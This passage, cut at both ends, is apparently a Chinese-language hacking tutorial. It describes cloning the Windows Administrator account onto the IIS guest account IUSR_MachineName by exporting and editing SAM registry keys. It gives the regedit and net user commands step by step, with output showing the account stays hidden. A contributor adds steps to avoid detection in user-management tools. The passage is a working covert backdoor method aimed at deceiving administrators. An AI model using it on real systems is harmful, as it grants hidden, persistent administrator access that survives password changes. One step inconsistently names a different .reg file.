第第頁(yè)克隆管理員帳號(hào)的方法ccount\Users\000001F4

這樣我們將SID為500的管理員帳號(hào)的相關(guān)信息導(dǎo)出，然后編輯adam.reg文件，將adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的'1F4'修改為IUSR_MachineName的SID（大部分的機(jī)器該用戶(hù)的SID都為0x3E9，如果機(jī)器在最初安裝的時(shí)候沒(méi)有安裝IIS，而自己創(chuàng)建了帳號(hào)后再安裝IIS就有可能不是這個(gè)值），將Root.reg文件中的'1F4'修改為'3E9'后執(zhí)行

regedit/sadam.reg

導(dǎo)入該Reg文件

然后運(yùn)行

netuserIUSR_MachineNameSometips

修改IUSR_MachineName的密碼（最好使用14位的密碼，越像IUSR_MachineName的密碼越好）

OK,大功告成...

這樣，我們擁有和默認(rèn)管理員一樣的桌面、一樣的Profile

而且，當(dāng)我們運(yùn)行.netlocalgroupadministrators時(shí)，看看結(jié)果：

C:\netlocalgroupadministrators

Aliasnameadministrators

CommentAdministratorshavecompleteandunrestrictedaccesstothecomputer/domain

Members

Administrator

Thecommandcompletedsuccessfully.

再看看USER2SID的輸出結(jié)果：

C:\user2sidAdministrator

S-1-5-21-1004336348-1078145449-854245398-500

Numberofsubauthoritiesis5

DomainisIDONTKNOW

LengthofSIDinmemoryis28bytes

TypeofSIDisSidTypeUser

C:\user2sidiusr_machinename

S-1-5-21-1004336348-1078145449-854245398-1001

Numberofsubauthoritiesis5

DomainisIDONTKNOW

LengthofSIDinmemoryis28bytes

TypeofSIDisSidTypeUser

我想，再高明的管理員也看不到任何的異狀了...而且，隨便管理員改成什么密碼，我照樣可以用IUSR_MachineName，密碼為Sometips登陸...(沒(méi)有哪位大俠級(jí)的管理員喜歡經(jīng)常修改IUSR_MachineName為其他的名字吧)

^_^，這算不算RootKit...

附：

1、感謝叮叮付出需要reinstallOS的代價(jià)...

2、任何用以上方法進(jìn)行試驗(yàn)所導(dǎo)致的系統(tǒng)無(wú)法使用均與偶無(wú)關(guān)，偶均不提供技術(shù)支持...

叮叮的補(bǔ)充完善

很多人提到使用了管理工具的用戶(hù)管理后，能夠發(fā)現(xiàn)IUSR_MachineName被提升了權(quán)限。

現(xiàn)給出解決辦法。

方法同上，不過(guò)這次修改內(nèi)容多一些。即

這次要導(dǎo)出兩個(gè)key內(nèi)容：

一個(gè)是adam提到的

regedit/eadam.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

然后另外一個(gè)是你需要修改那個(gè)賬號(hào)的值

regedit/eiusr.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9

然后按照adam提到的修改adam.reg

"將adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的'1F4'修改為IUSR_MachineName的SID'

現(xiàn)在，你還要從iusr.reg文件中復(fù)制一下內(nèi)容

就是將iusr.reg文件中"'V'=hex:0'開(kāi)始一直到iusr.reg文件結(jié)束部分復(fù)制下來(lái)

然后替換掉adam.reg中同樣位置的部分

最后使用

regedit/sadam.reg

導(dǎo)入該Reg文件

呵呵，別忘了給這個(gè)IUSR_MachineName改密碼哦。

hehe,ok，大功告成。

現(xiàn)在IUSR_MachineNa